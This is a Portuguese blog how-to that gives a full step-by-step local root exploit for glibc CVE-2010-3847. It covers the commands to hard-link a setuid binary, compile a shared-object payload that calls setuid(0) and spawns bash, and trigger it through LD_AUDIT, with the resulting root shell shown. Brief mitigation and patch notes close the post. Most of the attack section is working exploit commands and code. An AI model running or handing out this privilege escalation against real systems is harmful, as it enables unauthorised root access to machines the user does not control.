Executando o exploit no pacote glibc-2.5.49.el5_5.i686 CVE-2010-3847 escala de privilégios -> root em qualquer Linux sem uso do Metasploit.


A falha que estou falando é notícia no site underlinux.org
Privilégios de Root Através de Vulnerabilidade na Biblioteca GNU C e maiores detalhes em:

https://bugzilla.redhat.com/show_bug.cgi?id=643306 e em CVE-2010-3847 - Advisories - Community, pois até a data deste artigo a pedido do fabricante não liberam no CVE, mais informações


OBS: Testado e comprovado com sucesso em VM local que produzi em LAB, mas não utilizando a produção ou derivados. Tenha cuidado.



O autor deste artigo não se responsabiliza por dados mediante este artigo ou derivados.
PoC Exploit (Proof of Concept Exploit)


Crie um usuário teste, set a senha e depois autentique com o mesmo


$ mkdir /tmp/exploit
$ ln /bin/ping /tmp/exploit/target
$ exec 3< /tmp/exploit/target
$ ls -l /proc/$$/fd/3
$ rm -rf /tmp/exploit/
$ ls -l /proc/$$/fd/3
$ cat > payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system(“/bin/bash”);
}
^D
(Ctrl+D) <— parte as teclas para salvar e sair
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ ls -l /tmp/exploit
$ LD_AUDIT=”\$ORIGIN” exec /proc/self/fd/3
# whoami
root
id
uid=0(root) gid=500(teste)


Mitigação
========
Evitar de criar usuários em filesystems sem permissão nosuid
Caso não seja possível, há um paleativo:
# mount -o bind /tmp /tmp
# mount -o remount,bind,nosuid /tmp /tmp


Solução
=======
Atualizar glibc-2.5.49.el5_5.i686 -> com yum update caso já haja glibc atual.
Foi exploitado sem sucesso em uma VM Local no CentOS 5.5, sem sucesso. O que pude concluir que a atualização da glibc contorna a falha, mas deve-se avaliar melhor e com cautela, pois a atualização da glibc, sem total atualização do SO de CentOS 5.3 -> CentOS 5.5 pode o acarretar em “crash” total do SO, devido à esta biblioteca ser uma das principais do SO.


Qualquer dúvida, estou à disposição.
@firebitsbr
firebits.wordpress.com
BackTrack Brasil | Remote-Exploit
BackTrack Linux - Penetration Testing Distribution
firebits@backtrack.com.br


Lembrando, não sou autor deste exploit, apenas do How-to